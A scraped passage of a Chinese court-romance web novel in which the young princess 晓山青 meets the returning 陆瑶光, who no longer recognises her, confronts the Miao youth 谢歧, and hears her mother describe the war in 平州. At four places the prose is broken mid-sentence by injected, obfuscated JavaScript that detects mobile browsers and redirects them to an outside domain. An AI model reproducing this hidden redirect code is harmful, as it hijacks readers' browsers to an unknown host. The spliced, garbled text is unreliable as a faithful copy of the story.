这句话里的王家哥哥显然说的是已在工部任职的王尚书独子,与给她下帖子的王家四姑娘是一母同胞。兄妹两人一人叫若瑾,一人叫若瑜,恰好取“怀瑾握瑜”之意。 至于“陆”吗……应当是陆瑶光的兄长,也是如今圣人面前的大红人。 “瑶光与我写的信里说她不慎染了风寒,还在荆州外祖家养病。”有一道轻快的声音插了进来,接着是一个穿着宝蓝色窄袖襦裙、外罩鹅黄团花半臂的贵女从琅琊王氏的马车上下来,朝她们这边走来,“我们燕娘可是想她了?” “也是,我们这群人里也就你们年龄相仿,往日里玩得最好。”提裙而来的王若瑜先对着晓山青行了礼,又兴冲冲地去揉崔四的脸,“从前你就是仗着你年纪最小,我们又总纵着你胡来,竟敢找瑶光闹着要让太子殿下当评审,瑶光也是心软,听了你的鬼话。” 崔四苦着张小脸,含含糊糊道:“太子哥哥有什么好怕的,我倒是比较怕陆家哥哥……不过今年瑶光不来,太子哥哥也不来,陆大公子是个大忙人,肯定也不来。” 崔家有一个贵妃在后宫,因此她与太子也算得上隔着一层的表亲,平日里也叫一句“太子哥哥”。只不过细论礼法,在场之中,能唤太子一声“表哥”的恐怕只有一个昌平郡主——不过昌平郡主晓山青自己却不太乐意这么叫。 晓山青摇着手里的小团扇,有意无意地略过了“太子”这个怎么也避不开的话题中心,反而问起了陆家:“摇光是陆家哪个姑娘的名讳?” 她提着扇子往外面指了一指:“……我刚刚来时,好像也瞧见了京兆陆氏的马车?” “那个啊,”崔四姑娘撇了撇嘴,“是陆家二房的女儿,平日里总是悄悄欺负瑶光,我们便不带她玩儿了。” 又愤愤然道:“太子哥哥与瑶光可是青梅竹马长大的,偏偏这个兰娘,喜欢出来挑拨。这次瑶光在荆州待了那么久,小半年了都不肯回来,必然是有她在里面当小人!” 晓山青轻轻地“哎呀”了一声:“这位陆姑娘竟然与太子哥哥是一起长大的?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16488530|185748||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >崔问雪悄悄瞪了崔四姑娘一眼,又转头细心地给晓山青解释道:“瑶光的祖父乃当代大儒,圣人亲选的太子太傅,陆大公子陆开仪又当过太子伴读,瑶光自然是与殿下自幼相识,情谊匪浅。” “郡主回长安的时间不巧,”崔四姑娘遗憾道,“瑶光还未回来。” “是不巧了。”晓山青一边靠着崔问雪的肩,瞧她从婢女手里接过了茶具,娴熟地为她们分茶,一边垂着眼睛,漫不经心地问道:“那陆姑娘信中可有说什么时候回来?” 王若瑜仔细想了想:“我收到信时恰好是年节过后,若是瑶光的病好得快些,说不定那时就已经从荆州启程了。” “年后出发,说不准今日就快到了。”崔问雪接口道:“行了,要我说我们若是真想知道,还得叫我们二哥哥去问问陆大公子。” “问雪说的在理。”王若瑜跟着点了点头。 “不如问太子哥哥,太子哥哥也一定知道。”崔四又自顾自地嘀咕了起来,“往年上巳,太子哥哥可从没有不来过,可今日这两人竟都没有出现……说不准已经撇下我们,出城去接瑶光了呢。” “又胡说什么呢,连殿下都敢非议了。”崔问雪又是头疼地瞪了小堂妹一眼。 有人岔开了话题,说起了今日要做的诗,又说要抽个花签定个开头的人。以崔问雪、王若瑜两人为首,七八个贵女便兴致勃勃地组织了起来,有说这个好的,有说那个好的,一时间七嘴八舌地争论了起来。 晓山青寻了个时机,悄悄地把白仙放进了草丛里,不想一回头,竟与少年悄悄投来的目光撞了满怀。 她忽然觉得有趣了起来,饶有兴趣地朝他笑了笑,就见远处的少年猛地一扭头,抬手捂住了嘴。 晓山青:“……” * 回程的时候晓山青上了马。不止她一人,其余贵女也戴上了帷帽,陆陆续续地上了马,由仆妇牵着马慢慢地走。 春风和煦,缓缓地吹拂着。 晓山青一边控马,一边跟在队伍末尾慢腾腾地往前走。旁边跟着一骑,正是骑着流风的崔泓。 “郡主当真不想骑骑我的流风?”少年在她身边晃了许久,憋出了这么一句话来。 “想。”晓山青已经玩得有些倦了,懒洋洋道:“等以后吧。” “那我什么时候来找郡主?”崔泓追问。 “以后吧。” “以后是什么时候?” 晓山青有些无言以对:“……” 她继续敷衍:“崔公子,以后就是……” 还未来得及说完这句话,就听见少年带着期待的声音:“郡主喊我的字吧?” ……你的字是什么来着? 晓山青迟疑了一下:“崔……涉川?” ——吁! 前方的队伍忽然停了下来。 晓山青在马上望去,城门口,正有一队甲士护着一车队要缓缓入城。却见走在前方的崔二公子下了马,走上前去对马车里的人行了大礼,又说了什么话。接着崔问雪与王若瑜也先后下了马,提裙朝那边走去。 “那是谁?”她在队伍末尾,也懒得下马,因此只是侧头问了问身边的崔泓。 崔泓又催马靠近了她一点,学着她远眺了一会儿,也奇怪道:“看这架势,好像是谁家的女眷,可长安近日也没有……” 也不是没有。 晓山青漫不经心地想。陆瑶光不是要回来了吗?说不定就是今日。 她遥遥地向那边望去,忽然觉得和什么人对上了目光。 一股莫名的寒意就这样措不及防地顺着脊背攀升了上来。 晓山青的心口忽然突突的一跳。 她是不是忘了什么?梦里,和陆瑶光一起回来的……好像还有谁? 29. 重逢 “再等等,总会有人来知会我们一声的。” 果然有两个健壮的仆妇从前面赶来,向马上的两人分别行了礼,眉飞色舞地比划起前面的事情来。 晓山青听了两句就听明白了,忍不住抢了一句白。 “是陆姑娘回来了?” “是,郡主说得正是。”妇人笑着作揖,“是陆家的车队,从荆州来。” “我见崔家兄长还特地上前行了礼,除了陆姑娘以外,那马车上可是还有谁?” 高个儿的妇人一五一十说来:“还有京兆陆氏的大公子。听说陆公子三天前接到了急信,当即便出了城接人,又是亲自护送回来。” 矮个儿的妇人也道:“都说陆家大公子把妹妹看得如珠似玉,凡事亲力亲为,如今看来果真一点也不假。” 晓山青不置可否地笑了笑,又问道:“除了陆大公子呢?马车上应当还有一位贵人吧?” 两个妇人互相对视了一眼,均是放低了声音,才道:“确实还有一位贵人……只是这位,奴才们不敢乱讲,还请郡主宽宥。” “行,我知晓了,辛苦你们跑这一趟。” 晓山青笑眯眯地从袖子里摸出了两枚小元宝,抛到了她们的手里。两人喜出望外,手忙脚乱地接了,又说了几句吉祥话,才从马前跑开。 “原来是陆大哥的妹妹,我记得他们外祖是荆州杜家。”崔泓凑到了她身边来,“郡主应当不认识她?” 晓山青还以为他要说什么话,却听见他冒出了一句“我也不认识她”。 然后是——“郡主,反正过去也不过听那些车轱辘话,不如我们去跑马吧?我把流风给你骑!” “……”晓山青斜眼看他:“你也不认识这位陆姑娘?” 少年睁着一双黑白分明的眼睛,嘴硬道:“不认识!” “崔五公子,我不认识还情有可原,你又怎么会不认识?”晓山青挑眉,“京兆陆家的姑娘可不止一个吧?既然你不认识,又怎么会知道陆大公子接的哪个妹妹?” “我当真不认识陆瑶光……只是听四姐姐总是提到她罢了,这怎么能算认识呢!”崔泓的语速有点快,“更何况陆开仪就只有这么一个亲妹妹,也只有这一位能劳动太子亲自过来……你看,那不是太子亲卫是什么?” 晓山青伸手掀开了帷帽,向他指的方向看去。那群昂首挺胸簇拥着马车的人都身穿软甲,腰佩长刀,果然不是普通侍卫。在这群人中间,隐约可见一身着白衣的男子走下车来,与崔二面对面地说着什么。看身量那人绝不会是太子,他比太子更清瘦些。 这大概便是陆开仪了。 无论是梦里还是现实里,晓山青都是头一次见他。 这位三元中第、圣人亲点的状元,入朝便是翰林学士,密议政事,章拟诏制,是真正的天子近臣——所谓“密之至,恩之厚,职之重”,不外如是。而在梦境的碎片中,他竟不过是“陆瑶光”嘴里含糊带过的哥哥,是太子盛怒之中被迁怒的陆府众人之一。现在看来,晓山青只觉得荒谬。 这烂七八糟、全是儿女情长的梦的下面到底还藏了什么? 她收回了视线,刚想回头问问崔泓关于陆开仪的事情,没料到他不知道什么时候又凑过来了一点。 这一转头,两人挨得更近了。 其实崔泓比崔二公子更好看。他的鼻骨与眉弓都生得相当优越,此时日光正好,他眼窝处有便有一片薄薄的阴影,更衬得他瞳仁乌黑,眸光清亮。又因为年纪尚小,身上还带着少年人的磊落清爽,笑起来时轻快得如同一阵风,一汪清泉。 此刻他正对着她笑,好像她是他情窦初开、一眼就喜欢上了的那个姑娘一般。 晓山青盯着他半晌,也跟着他笑了起来。 “走。”她放下了帷帽,在崔泓变得惊喜起来的眼神里道:“我们去前面看看。” 旁边没有动静。 晓山青奇怪地回头,发现崔泓的眉眼都耷拉下来了,满脸的不乐意。 “……”晓山青没好气道,“下次再陪你跑马,崔五公子。眼下劳烦你陪我去前面看看,可好?” “下次?真的吗?”崔泓一下就打起了精神,“下次是什么时候?我们先说好日子,到时候我来昭宁长公主府接你!” 晓山青叹气:“五日后吧。” “还有,郡主……”少年的眼神微微地往一侧飘了飘,连声音都变轻了一点:“郡主能不能喊我……喊我涉川?” 晓山青:“……” “崔泓,崔涉川,崔五公子。”晓山青用最后一点耐心把他所有名头都念了一遍,从牙缝里挤出了最后一句话:“现在,我们可以下马了吗?” 话音还未落,少年已经兴冲冲地翻下了马背,伸手要来扶她。晓山青没理他,也利落地下了马,把缰绳交给了旁边的马奴。 “郡主原来会骑马。”崔泓亲手牵着他的白马跟着她往前走去,边走边见缝插针地搭话。 “你在邀我跑马时难道没想过我会不会骑马?”晓山青疑惑。 “可是郡主喜欢我的流风,我就想着让郡主骑骑它……”崔泓伸手摸了摸流风的鼻子。流风朝他打了个鼻响,他朝边上一躲,差点踩到了晓山青的裙子。 ——没踩到。 因为少女已抓着帷帽往远处蹦了一蹦。 那不过一个刹那。一旁被她扯着快跑了一步的婢女还惊魂未定,帷帽的纱帘还在随着她的动作轻晃。有光破开云层,投落在她身上。 崔泓恰好在那一瞬间抬眼,瞥见了她带着一点小得意的笑。 一晃而过。模糊得好像她翘起的唇角不过是他自己的错觉。 她在叫他:“……崔………涉川?” “崔泓,崔涉川,崔五公子——又怎么了?”晓山青见他一动不动,催促道。 “没事。”他又莫名其妙地撇过头去,用手背挡住了眼睛。 “……哦。” 晓山青抬头向马车的方向看去。 刚刚那种如芒在背的感觉又出现了。 有人在看她。 白仙已从她袖中探出半个脑袋。方才它还是一副晒够了太阳、不愿动弹的样子,眼下却已完全换了一个状态,晓山青不用触碰它都能感受到它紧绷的盘起的蛇身。 “……有刺客吗?”晓山青喃喃道。 她很快否决了这一想法。 且不说周围风平浪静……她现在可与以前不同了。她如今是昌平郡主,改了姓,上了玉牒的,正儿八 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16488531|185748||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 经的郡主,可不是那个在芙蓉园四处溜达、明明什么坏事也没干还能被人抓起来的无名小卒了。 今时不同往日。虽说她还没尊贵到会有刺客来刺杀的地步,但撤退的刺客路过她的时候也不是不能抽个空给她来上一刀——毕竟她大小也算个郡主了,阿娘还给她配了暗卫呢! ……今日她出门时跟着她的是谁来着?是枕流还是漱石? 算了不重要。晓山青并不关心这个。 反正没有一个刺客会像这样,不奔着太子这条大鱼去,反而从头到尾、一直盯着她看。 陆瑶光身上已经没有完整的鬼车卵了,按理说白仙不应该不安到这地步……它到底在烦什么呢? 能让白仙自己把自己拧成一条蛇棍的东西并不多,那些东西大多没长那么长的腿,不太可能自己跑到长安来。 晓山青一个个列举过来,很快找到了最可能的答案。 她的脚步不由自主地变慢了,从“走在崔泓旁边”完全变成了“走在崔泓后头”。要不是因为崔泓不解地回头看她,她还想就这样停下来,然后掉头走回去,就当她没来。 但是已经来不及了。 绕过马车的遮挡,晓山青看见了谢歧。 她也如愿停了下来。 就算隔着这一层薄纱,晓山青也知道他认出了她。 她也知道谢歧知道她看到了他。 就算隔着这一层薄纱。 * 陆瑶光还在车内。许是因为她是重病初愈又连日赶路,陆大公子并没有让她下车。 少女有点小小的不满,但也没能拗得过兄长,因此靠在马车的小窗边,与崔、王两家的姑娘说了几句话。 而谢歧就站在马车边上,几乎是所有的贵女都在悄悄地看他。 他没有换上汉人的衣衫,依旧穿着苗族的单衣,好像浑然不怕料峭的春寒一般。满身叮叮当当的银饰半摘去了一半,但耳边还留了两枚银坠。长安男子并不带这类东西,在场唯有他一人带着这样繁复的耳坠——但这对银坠戴在他身上时没有半点违和,反而为他过于苍白的肤色添上了几分妖异的颜色。 ……我有多久没见谢歧了呢?晓山青想。 她皱着眉头数了数,然后把这件事抛到了脑后。 这实在是一件无关紧要的事情。她很想念苗疆,想念苗疆温暖的冬天,想念苗疆的风与苗疆的水——但说实话,她并不想念谢歧。 于是她跳过了这个问题,开始思考下一个。 陆瑶光回长安是梦中段的开始。她带回了一个苗疆少年,并且在这样一个外力的推动下,她与太子有了更深的感情纠葛。接下来是,误会,然后解除误会,误会,然后解除误会,误会,然后解除误会…… 晓山青:“……” 跳过。 而现在,谢歧确实离开了苗疆,谢歧确实跟着陆瑶光来到了长安——别管中间发生了什么,他怎么找到的陆瑶光,又对陆瑶光或者对杜家做了什么,你就说它发没发生吧? 晓山青简直是想笑。 她再一次、不由自主地想到——命运是条河流,它自会绕过路上的礁石,奔向它早已定好的目的地。 ……她该怎么使河流改向,山川移动? 30. 质问 “郡主,郡主!这儿!” 崔四姑娘眼睛最尖,一回头便看到了走过来的晓山青与崔泓,见他们越走越慢,心急得恨不得把他们两个一起扯过来。 崔泓不满道:“催什么?这不是来了吗……”一边说着一边拉了拉晓山青的袖子,“走,我们过去。” 晓山青又感受到了那道冷冰冰、没什么温度的目光。她都懒得往那儿看就能猜出是谢歧。 顶着一堆人明里暗里的关注,他肯定烦得不行,偏偏还要装出一副轻松的模样——你看他现在垂着眼睛站在那里,手里拽着发尾红色的发带,看上去恹恹的样子,谁会知道这小怪物满身的毒汁呢? 阿爹怎么就把他放出来了? 他这样一个巨大的、不可控的麻烦,偏偏也来了长安。 晓山青越想越烦,越想越烦,忍不住磨了磨牙。 她对谢歧的恶意又在心里翻滚了起来。像一锅慢慢沸起来的水,从锅底悄悄地冒出了一个泡泡。 ——就算是这样,她还是得过去。 晓山青懒洋洋地摘掉了帷帽,递到小桃枝的手里。她既没躲谢歧的目光,也没躲崔泓的手,就这样被崔泓带着往前走,完全地站到了马车前。 也站到了谢歧面前。 昌平郡主并不认识谢歧,所以她理所应当地忽视了他,向马车道:“太子哥哥?” 陆家的马车很宽敞,里面铺满了厚厚的软垫与褥子,空间大得足以坐下四五人。太子一身玄色常服,正坐在靠外的位置,车帘是拉开的,因此晓山青一眼就看到了他。 既然都站到了马车面前,她就不得不先开这个口,毕竟太子还算得上对她“照顾有加”。 是的,长公主与太子在朝堂上是有些小矛盾,但这又能算得了什么呢?他们都姓“萧”,一笔写不出两个“萧”字。 ——这里所有的人都是这么想的,那么昌平郡主也得是这么想的。 至于晓山青自己怎么想,大概并不重要。 “……阿青?” 太子像是没想到她也会在这里,在马车上对她招了招手,“阿青怎么会在这里?” 晓山青顺着他的意思往前走了几步,慢悠悠道:“太子哥哥忘了吗?今日是上巳,我跟着姐姐们出来玩,太子哥哥不也说我该多出去与年纪相仿的姐妹们走动走动吗?” “……孤怎么会忘呢?”太子的眼神微微一闪,“阿青今日是应谁的邀出来玩的?” “崔三姐姐,还有王四姐姐。”晓山青奇怪道,“太子哥哥问这个做什么?” “还能做什么?”太子笑道:“姑姑近日来忙的很,想来没空日日过问你的去处。你年纪小,又是才回来长安,孤好歹是你的表兄,自然要过问几句。怎么,阿青嫌孤烦了?” 是很烦人,再不改口我就要被谢歧瞪死了。晓山青想。 但她开口依旧是带笑的。 “怎么会?” 她摆出了一种蛮不讲理的姿态,踢了踢裙子,任性道:“太子哥哥怎么跟我阿娘一样,还是改不了口?” “我如今可是舅舅亲封的昌平郡主了,太子哥哥还是喊我昌平吧,我更喜欢‘昌平’两字。” “好,好,昌平就昌平。” 太子轻轻摩挲着拇指上的玉扳指:“孤跟着昭宁长公主叫多了,一时改不了口……不过这样的小事,姑姑不过是没来得及改口罢了,昌平可不能因为这个和姑姑吵嘴。” 晓山青定定地看着他,唇边的弧度慢慢扩大:“……怎么会呢?太子哥哥想多了。” “这也不是小事嘛,阿娘就是……”她嘀咕着,又止住了话头,“好了,别说我了,太子哥哥又为何在这里?” “我可听崔姐姐、王姐姐说了,马车里的是不是我未来的……”她俏皮地眨了眨眼睛,“太子哥哥不介绍给我认识认识?” 太子轻轻地咳了咳,“不许胡言。” 一直站在一旁缄默不语的陆大公子却忽然有了动作。 “见过郡主。” 他的声音清清冷冷的:“郡主误会了,马车内的是舍妹。半年前舍妹代家母去荆州看望外祖,不想染了风寒,因此修养了几月,拖延了启程的日子,今日才回来。” “还请郡主见谅,”他拱了拱手,“舍妹大病初愈,不便下来与郡主见礼,我代她给郡主赔罪了。” 晓山青扭头看去。 崔、王、陆三家已入仕的年轻人都在这里。几人之中,崔二端方,王二内敛,各有风姿。陆开仪站在他们之中,只着一身清癯的白衣,却如寒松立于雪野,透出一股清绝的风骨。 陆开仪,字衡君。 时人说他少敏慧,美姿仪,濯如春柳,秀如珠玉。如今一看,果然如此。 晓山青想起齐云姑姑给她的东西。那簿子里说陆开仪虽当过伴读,但并非太子党羽。她那时其实是不怎么信的——圣人诸多考量,百般布局,从十余年前便把陆家绑在了太子身边,陆开仪怎么可能还能当他的“清臣”? 如今她见了他一面,反倒是改变了主意——因为陆开仪与太子实在算不上一路人。 京兆陆氏大公子、圣人亲自拟定的皇子伴读、最年轻的翰林学士,但她忘了,归根到底,他还是个读书人。 是由当朝太子太傅,朝野公认的国学耆宿,被天下读书人奉为圭臬的陆公亲手教出来的读书人。 或许他在政事上有自己的见解,又或者在什么领域颇有建树,但太子并不需要他。 幼弟年幼,不代表他们不会长大。而这位太子在东宫已有十余年,还没有任何卓越的政绩。他已经等不及了。 他不仅需要不断在朝野上发声来证明自己的嗓音够大,更需要建立自己的幕僚团。他需要谋臣,且是只忠于他的谋臣。而陆开仪,永远不会变成他需要的这类人。 “这便是陆姑娘的哥哥?”晓山青对他笑了笑。 “是,舍妹她……” “别急。” 晓山青打断了他的话。 她听出来了,陆开仪并不喜欢她靠近陆瑶光。 “陆公子不用担心。”她忽然蛮横地冷淡了起来,变得像一个真正的久居高位、颐指气使的郡主:“我只是被崔四姐姐勾得好奇,想早点见见陆姑娘。也许,陆姑娘也想见我呢?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16488532|185748||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>陆开仪皱起了眉头。 “郡主的意思是……” “昌平,瑶光一路奔波……” 这两人几乎是同时开口说话,又在陆瑶光开口的时候同时停了下来。 车里那个穿着胭脂色裙子、尚且面带病容的少女不知什么时候趴到了车窗边上,怔怔地看着晓山青,忽然出声道:“我好像,在哪里见过郡主……?” “……瑶光?”陆开仪有些错愕地回头。 错愕的人不止是他——连晓山青都愣住了。 她根本无暇顾及立在车窗边的谢歧,一步就跨了过去,走到了陆瑶光的跟前。 “陆姑娘……不认识我?” 她说这话的时候没收住声,声音有些大了,稍站远些的崔三姑娘、崔四姑娘都听到了。 崔四性子跳脱些,她大抵是没听清那个被晓山青念得很含糊的“不”字,脱口而出道:“瑶光自然是不认识郡主的!” “郡主又不是在荆州的山里修养,上哪儿去认识郡主……哇唔唔唔唔唔唔,四姐姐!” “哈哈。”崔问雪一边握着她的手把她往后推,一边笑道:“小儿妄言,小儿妄言,还请殿下与郡主饶她这一回……” “崔四姑娘这话说的也没错。” 太子温和接道,“瑶光与昌平一个天南一个地北,怎么也到不了一座山里,又谈何相识呢?” “我倒是也觉得陆姑娘眼熟,像是在哪里见过一般。”晓山青盯着陆瑶光迷茫的脸,一字一句地轻声道:“陆姑娘……你看看我。” 陆瑶光呆呆地看着她,眼神依旧空落落的。 “许是在梦里见过?”她轻轻地这样说道。 她不认识我。晓山青想。 她居然真的不认识我。 在今天,在此刻,在晓山青构想过的“再见”里,陆瑶光应当是能认出她来的。 她不闪不躲,不遮不掩,只要陆瑶光眼睛没坏,她就该把她认出来。晓山青并不因此而担心——因为只要京兆陆氏还不想让人知道陆瑶光的这段经历,她就不用多做些什么。 而相反,陆瑶光没认出她来,那才是一万分的不正常! 到底发生了什么? 谢歧跟着荆州杜家送陆瑶光北上的车队到了长安,他必定与陆瑶光有了新的接触。但明明她走时,陆瑶光是那么惧怕谢歧,连惊梦中都在竭尽全力地大喊着“不要过来”……这世上有这样的、直接抹去一个人的记忆的法子吗? 等等,她想起来了。 苗疆是有这样秘术。但好像被用了秘术的人,不是变成了痴儿,就是变成了傻子。 ……陆瑶光现在,不会变成傻子了吧? 晓山青豁然看向了谢歧。 * 这是他们今日的第一次对视,应当也算得上这几个月来的第一次对视。 她从他面前走过,没多看他一眼,也没与他说一句话。 而现在,她看着他,眼睛里只有九个字——“你,到底,对她,做了,什么?” 除了怀疑与质问,还真是没有一点别的东西。 谢歧忍不住冷笑了起来。 31. 春天 在城门口耽搁了时间,回到长公主府时已是挑灯时分。齐云姑姑已在门口等她,见小桃枝扶着她下了马车,便要提灯来迎。 晓山青赶紧摆摆手,跳下马车朝她走去:“姑姑怎么在等我?” “长公主叫我带郡主去大书房,”齐云姑姑领着她往里走,“郡主今日玩得可累?可要回梨落院梳洗一番?” “不累。”晓山青叹气,“我还嫌有些活动不开呢……不过我确实要回去一趟。齐云姑姑先去便是,我过个一刻就来。” “好。” “还有一事。”晓山青又想了想,才道:“今日跟我出来的人是谁?” “……是我呀,郡主。”小桃枝呆呆地拿手指指了指自己。 晓山青:“……不是说你。” 我难不成还不知道你今天跟了我一天吗? “应当是枕流。”齐云姑姑意识到了她在说谁,把话接了过来,“是庞统领的疏忽,我回头叫他送一份名单到梨落院去。” “枕流?”晓山青喊到。 “属下在。” “刚好这件事你可以与齐云姑姑一起听。”晓山青道,“你出来吧?” 背后传来一身轻轻的落地声。桃枝吓得轻轻“呀”了一声,悄悄往晓山青身边靠了靠。 “今夜梨落院要把小门锁了,齐云姑姑,劳烦你把阿娘那儿的那道门也关了吧。”晓山青走上了垂花溪边小径,一边拿小团扇挡开垂柳的枝条,一边嘱咐道。 “郡主这是……?”齐云姑姑走在她身后,不动声色地问道。 “这几夜我的院子有客要来,可能会有些吵,怕扰了阿娘。”晓山青继续道,“今晚我院子里值夜的是谁?” 这回小桃枝已意识到她说的是谁了,低着头没再吭声。 “是漱石。”枕流道。 “那就让他在院子里等我,我有事情要与他说。” “是。”枕流淡淡应道,身形一闪就消失在黑暗中。 晓山青转头与齐云姑姑道:“姑姑不必担心我,这事我能自己处理。” “好。”奇云姑姑嫣然笑道:“不过郡主,此事我会告知殿下与洪统领……毕竟长公主的安危,算得上我们这些下人心里一等一的要紧事。” “……姑姑都是有品阶的女官,我哪里敢乱来。”晓山青乖乖地点点头,“姑姑只管忙自己的事就是。他若是来了,也只会是冲我来的。” * 回了院子,换了身家常的罗裙,晓山青才去了阿娘的院子。 昭宁长公主看过了她临的字帖,又看了夫子给她布置的功课,给出了评价:“字进步了,糊弄功课的本事也见长了。” 晓山青盘腿坐在椅子上,拿小签子戳着白瓷盘子的甜瓜:“夫子讲的还没如阿爹生动,我听不进去,再说,我又不用‘治国齐家平天下’去,干什么学那么认真……” “诡辩。”昭宁长公主随手拾起桌边的册子敲了敲她的脑袋,“我叫你读书可不是让你给我考个状元回来。” “不爱读那些酸腐书,那就不读。”她红唇一勾,“不过只有一样,你不可不学。” 晓山青奇道:“那阿娘要我学什么?” “学史。以史为镜,可以知兴替。” “阿青,你可以不通音律,不练辩才,不做文章,但你不能不读史,不知天下大势。” 昭宁长公主微微一笑:“猜猜看阿娘近日在忙些什么事?” 这个问题不难。 晓山青毫不犹豫道:“平州的战事。” 昭宁长公主没说对,也没说不对,只是继续问道:“答的倒是快……为什么是平州?” “……前几日阿娘回来的晚,我问了挽霞姑姑,姑姑说阿娘在出宫后又去了英国公府。几位老国公都是军功封侯,都送了小辈去军中,再加上今日曲水畔,我既没见到陈家的姑娘,又没看到英国公府的马车,便猜是平州的军报有了变动。”晓山青如实道,“阿娘,我说的对不对?” 昭宁长公主叹气,“你倒是净会取巧。” 晓山青笑嘻嘻地托腮看向阿娘:“阿娘就说我猜的对不对吧。” 昭宁长公主点点头:“对,平州生乱,英国公第三子战死。” 她的目光飘到了窗外。 “这个冬天比往年更冷,阿青,你知道这意味着什么吗?” 晓山青想到了她刚到长安时见到的人。那些墙根下晒太阳的乞丐,那些穿着单衣在路边等活儿的脚夫,那些带着五六个孩子在粥棚边徘徊等着救济的妇人……他们熬得过这个冬天吗? 她几乎是不假思索道:“有人会死。” 有人会死。也许不会是全部,但其中的一个、两个,一半,甚至一大半,都可能活不过这个冬天。 带着不甘、咒骂、绝望,或者带着恐惧、麻木、疲惫,在饥饿与寒冷里挣扎着,然后在某一个冬夜昏睡过去。直到第二天早上的清晨,有人呼喊他的名字,他再也无法再做出任何回应。 死亡是个恒定的命题,它赤.裸,残忍,又铁石心肠。晓山青惯于见到它,看它扫荡过人间,带走一批苍白的魂灵,再留下了一片血淋淋的哭号。 “是,有人会死。”昭宁长公主轻声道,“阿青,你看不到的地方有人正在成片地死去。” “寒风会收割人的性命,契丹人的刀也会收割人的性命。长安在这个冬天冻死了多少人,在平州只会翻倍。” “过去的五个月,我们把寒衣送到那里,把军饷送到那里……可是平州的春天还没有来。” 春天还没有来,所以靠掠夺来过冬的契丹人还没有走。 平州还在死人。 这片土地上已经死了多少人,又还有多少人要死去?这其中有多少将士,又有多少手无寸铁的百姓? 再拖久一点呢? 战事越久,平州只会被践踏得更彻底。那么还会有多少流民南下?国库还撑得住吗?军饷与抚恤还发的出吗? “阿娘是在想该怎么打这一仗吗?还是……”晓山青迟疑着问道。 “昨日早朝,户部侍郎崔温茂上书国库空虚,为平州百姓请和。”昭宁长公主望着窗外,平铺直叙道,“这一次,圣人犹豫了。” 晓山青:“!!!” 她砰地一下站了起来。 户部侍郎是谁?崔家的!崔家是谁的人?太子的! 她那个梦里着墨最多的是陆瑶光的少女心事,对甘宁十六年这场平州战事几乎是毫无提及,唯一相关的蛛丝马迹是太子出城安抚长安城外聚拢的流民,添了一笔仁德的名声。 她寻思哪儿来的大批流民呢? 原来太子已早早地就想好要放弃平州了!不仅想弃平州,他还想榨干平州的最后一丝价值,用从平州南逃下来的流民给自己换一个好名声! 难怪,难怪。陆开仪这样的人宁做个孤臣也不愿被太子招揽,又在陆瑶光嫁入东宫后果断辞官隐退,带着陆家离开了长安。 “阿娘!”晓山青喊道,“那平州的人怎么办……!” 议和必然要让渡一些东西,契丹难不成会满足于不能填饱肚子的金银吗?他们难道不会想要拥有一片肥沃的土地,想要这片土地上的女人当他们繁衍的工具、男人当他们的奴隶吗?< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16488533|185748||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>那些——那些已被填进去、被碾碎、被永远留在那里的人命又算什么? 昭宁长公主带着疲惫的目光转了回来。 “别怕,太祖打下来的基业不会被契丹人分走一厘一寸。”她缓慢、坚定地说道。 晓山青呆呆地站在那里,看着阿娘。恍惚之间,她看到了阿娘背后的东西。那庞然大物在迷雾之中现出了身影,她光是看着,光是看着,就已觉得无法喘息。 * 晓山青回到梨落院的时候已是累的很了,实在懒得再管谢歧,只想扑到床榻上好好睡一觉。然而她一推开梨落院的门,就见到了站在院中的漱石。 还是那副没什么好脸色的样子。 晓山青在原地沉沉地呼出了一口气,才抬脚往里面迈。 漱石早听见了她的动静,一回头就见她叹气,忍不住恼道:“什么意思!不是你叫我来的吗?” “首先,你得叫我郡主。”晓山青冷冷道:“其次,我现在也算是你的主子。你若是不想喊我郡主,就得喊我主子。” “我的主子只有长公主一人!”漱石被她噎得涨红了脸,气得一下就蹦了起来。 行吧。认阿娘一个就认阿娘一个吧。 